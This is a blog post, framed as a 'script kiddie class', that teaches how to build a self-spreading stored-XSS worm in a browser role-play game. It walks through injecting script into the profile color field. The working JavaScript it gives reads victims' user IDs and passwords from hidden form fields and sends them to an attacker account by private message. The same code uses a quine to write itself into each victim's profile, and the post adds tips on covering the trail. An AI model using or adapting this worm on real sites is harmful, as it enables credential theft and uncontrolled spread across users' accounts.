2010年12月21日 星期二

Script Kiddie Class: Quine in XSS

Last time I demonstrated how to create a quine program, which output its own program code. This time I will talk about how can a malicious javascript code reproduces itself and infect to others.

In web applications, one critical vulnerability to users is Cross-site Scripting (XSS), which allows someone to inject client-side scripting code to the webpage. The following example is based on a real web game (with some modification):

Scenario (Ignore it if you don't like to read bullshxts)
Xyzzy Agora is a multi-player web-based game. Players can create their own character to join the virtual adventure. Just like other web-based role-play games, players can assign their own ID, password, nickname, color, avatar, battle slogan and website link during registration, which could be changed after registration except ID and nickname. Also, players can allocate additional stats points to their default abilities (5 points each) based on a random number.

After registration or after logging in, players will be redirected to a main street page. They can start adventure, buy weapons or equipments, train for their abilities, train their pets, ask NPCs for adventure information, battle with other players, change their information, send gifts to other players, send private message to other players, or go to the chat room. These actions are labeled in different buttons, and each button have its own form, with user ID, password, and action ID as hidden fields, where the button is the submit button of the form. On the top of each pages, the current online users are shown in a row, with the link to the corresponding profile page.

The nickname of a character is displayed as following:
<font color=**COLOR**>**NICKNAME**</font>
where **COLOR** is the color selected from a drop down list by the player during registration or profile update, and **NICKNAME** is the nickname picked during registration. Colored nickname will be displayed at every pages. Other players' colored nickname could be displayed at player's profile page, private message page, and chat room.

Vulnerabilities
1) The color attribute of a player's profile does not have proper XSS control. People can inject client-side script to the pages which displays other players' nickname.
2) User ID and password are stored in hidden fields of any pages after login. With XSS, people can extract those data by DOM easily.
3) Color attribute could be updated in the profile page. By using Quine in XSS, other player could be infected. The person who original post the code could remove it after someone has infected. This could be difficult to trace if there is no proper activity logs.
4) Private message will only shown to receiver. Sender has no idea about what message he has sent. For simplicity, the username and password will be sent to the attacker by private message, instead of sending to other website. (But this could be easily checked by the web game administrator)

Steps of Attack
1. Test for the XSS vulnerability by changing the color attribute in profile update page (profile.php)
0><script>alert('XSS')</script
Then the nickname will be displayed like this:
<font color=0><script>alert('XSS')</script>**NICKNAME**</font>

2. Identify the target XSS pages:
The highest traffic page among those potential XSS pages is chat room. The script should be able to run properly in the chat room (chat.php). Running on the player profile page and private message page would be a plus. You may also need to consider that players' own colored name will be shown on every pages, and you should avoid trigger your program too many times, as the private message has limit.

3. Write a password stealer
This example will used AJAX, since the destination (pm.php) is in the same domain.
function x(){try{return new XMLHttpRequest}catch(e){try{return new ActiveXObject('Microsoft.XMLHTTP')}catch(e){}}}
d=document.forms[0];i=d.uid.value;p=encodeURIComponent(d.pass.value);
u='pm.php?uid='+i+'&pass='+p+'&destid=someone&message='+i+':'+p;
a=x();a.open('GET',u);a.send();
Explanation:
First line - return the XMLHttpObject (copied and modified from jQuery, to make it short)
Second line: store the victim's user ID and password, given that each pages' first form will store user ID in "uid" field, and password in "pass" field. encodeURIComponent would be useful to prevent broken links due to special characters in password.
Third line: the page that you want the victim to open, which will send the user ID and password to "someone".
Fourth line: send the get request via AJAX.

4. Write a code injector
Apart from stealing password, we are also interested in changing victim's color attribute, and spread the XSS worm. The XMLHttpObject and the stored user ID and password will be reused in the following script:
v='profile.php?uid='+i+'&pass='+p+'&color=*XSS CODE HERE*';
b=x();b.open('GET',v);b.send()
Now the problem is how to put back the entire program with XSS back to the color's parameter. The concept of Quine become useful in this problem. A javascript Quine is easier than other programming language, since javascript can refer to its function:
function $(){_=$+'$()'}$()
(I intentionally use some funny characters for the function name and variable name)
This code will run the $ function, and the entire program is stored in _ variable. You can put any code before or after the script like this:
function $(){document.write($+'$()');_=$+'$()';alert(_)}$()
The entire program is still stored in _ variable.
Now we can put all things together. Before that, I added some shortcut variables for some special characters:
l=String.fromCharCode(60);g=String.fromCharCode(62);
1+3+4 (In one single line):
0><script>
function $(){_=$+'$()';l=String.fromCharCode(60);g=String.fromCharCode(62);
function x(){try{return new XMLHttpRequest}catch(e){try{return new ActiveXObject('Microsoft.XMLHTTP')}catch(e){}}}
d=document.forms[0];i=d.uid.value;p=d.pass.value;
u='pm.php?uid='+i+'&pass='+p+'&destid=someone&message='+i+':'+p;
a=x();a.open('GET',u);a.send();
v='profile.php?uid='+i+'&pass='+p+'&color=0'+encodeURIComponent(g+l+'script'+g+_+l+'/script'); b=x();b.open('GET',v);b.send()}$()
</script
Using this as your color attribute will give the first wave of XSS worm.

Remark

Referring a function in javascript may result in having additional line breaks and tabs. I have another code which make use of eval, and uses unescape for easier coding:
v='q=String.fromCharCode(39);w=%27v=%27+q+v+q+%27;eval(unescape(v))%27;alert(w);';eval(unescape(v))
Replace alert(w) for your code.
Another remark is to consider running multiple times of the program. You may use body onload event to force the XSS code run once even it appears in the same page many times. You may also need to add conditions to prevent running the code on some undesired pages.

If you are interested in this scenario or example, you may ask me for a prototype demo. (Well, I think no one will read this bullshxt :D)

沒有留言:

張貼留言